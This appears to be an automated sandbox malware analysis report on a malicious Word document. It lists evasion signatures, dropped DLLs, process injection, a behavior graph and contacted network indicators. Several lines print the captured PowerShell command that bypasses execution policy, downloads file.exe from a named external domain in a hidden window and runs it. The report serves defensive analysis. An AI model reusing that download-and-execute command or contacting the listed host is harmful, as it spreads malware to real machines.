Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Roaming\file.exe RDTSC instruction interceptor: First address: 0000000007043C85 second address: 0000000007043C85 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F4EECA62E1Fh 0x00000006 test ch, FFFFFFD8h 0x00000009 test edx, D75238D0h 0x0000000f inc ebp 0x00000010 test ecx, edx 0x00000012 inc ebx 0x00000013 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1580 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1696 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 912 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2788 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1704 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2180 Thread sleep time: -922337203685477s >= -30000s
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Roaming\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\libgdk_pixbuf-2.0-0.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\Anabiotic\Farvelgninger\Satires\ZedGraph.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\httputility.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Roaming\file.exe API coverage: 8.6 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 9_2_00405A19
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004065CE FindFirstFileA,FindClose, 9_2_004065CE
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004027AA FindFirstFileA, 9_2_004027AA
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 16_2_00405A19
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_004065CE FindFirstFileA,FindClose, 16_2_004065CE
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_004027AA FindFirstFileA, 16_2_004027AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\file.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: file.exe, 00000015.00000002.1283718581.00000000005D4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_73C22288 GlobalFree,lstrcpyA,GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA, 9_2_73C22288
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion
barindex
Injects files into Windows application
Source: C:\Windows\System32\notepad.exe Injected file: C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT was created by C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\notepad.exe Injected file: C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT was created by C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Jump to behavior
Bypasses PowerShell execution policy
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\notepad.exe Queries volume information: C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004033B3 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 9_2_004033B3
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 829399 Sample: TEPO0015922.doc Startdate: 18/03/2023 Architecture: WINDOWS Score: 100 60 Malicious sample detected (through community Yara rule) 2->60 62 Multi AV Scanner detection for submitted file 2->62 64 Document exploit detected (drops PE files) 2->64 66 5 other signatures 2->66 7 WINWORD.EXE 302 51 2->7         started        process3 dnsIp4 58 thekaribacruisecompany.com 149.102.154.62, 443, 49171, 49172 COGENT-174US United States 7->58 50 C:\Users\user\AppData\Local\...\file[1].exe, PE32 7->50 dropped 52 C:\Users\user\AppData\...\FZdtfhgYgeghD  .scT, data 7->52 dropped 54 C:\Users\user\AppData\Local\...\8A92D3FF.png, 370 7->54 dropped 72 Document exploit detected (creates forbidden files) 7->72 74 Microsoft Office creates scripting files 7->74 12 cmd.exe 7->12         started        15 cmd.exe 7->15         started        17 cmd.exe 7->17         started        19 5 other processes 7->19 file5 signatures6 process7 signatures8 76 Suspicious powershell command line found 12->76 78 Tries to download and execute files (via powershell) 12->78 80 Bypasses PowerShell execution policy 12->80 21 powershell.exe 12 7 12->21         started        26 powershell.exe 15->26         started        28 powershell.exe 17->28         started        82 Injects files into Windows application 19->82 30 file.exe 1 57 19->30         started        32 file.exe 35 19->32         started        34 file.exe 35 19->34         started        process9 dnsIp10 56 thekaribacruisecompany.com 21->56 36 C:\Users\user\AppData\Roaming\file.exe, PE32 21->36 dropped 68 Powershell drops PE file 21->68 38 C:\Users\user\...\libgdk_pixbuf-2.0-0.dll, PE32+ 30->38 dropped 40 C:\Users\user\AppData\...\httputility.dll, PE32+ 30->40 dropped 42 C:\Users\user\AppData\...\ZedGraph.dll, PE32 30->42 dropped 44 C:\Users\user\AppData\Local\...\System.dll, PE32 30->44 dropped 70 Tries to detect virtualization through RDTSC time measurements 30->70 46 C:\Users\user\AppData\Local\...\System.dll, PE32 32->46 dropped 48 C:\Users\user\AppData\Local\...\System.dll, PE32 34->48 dropped file11 signatures12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.102.154.62
 thekaribacruisecompany.com United States
174 COGENT-174US true

Contacted Domains

Name IP Active
thekaribacruisecompany.com 149.102.154.62 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://thekaribacruisecompany.com/file.exe false
    		unknown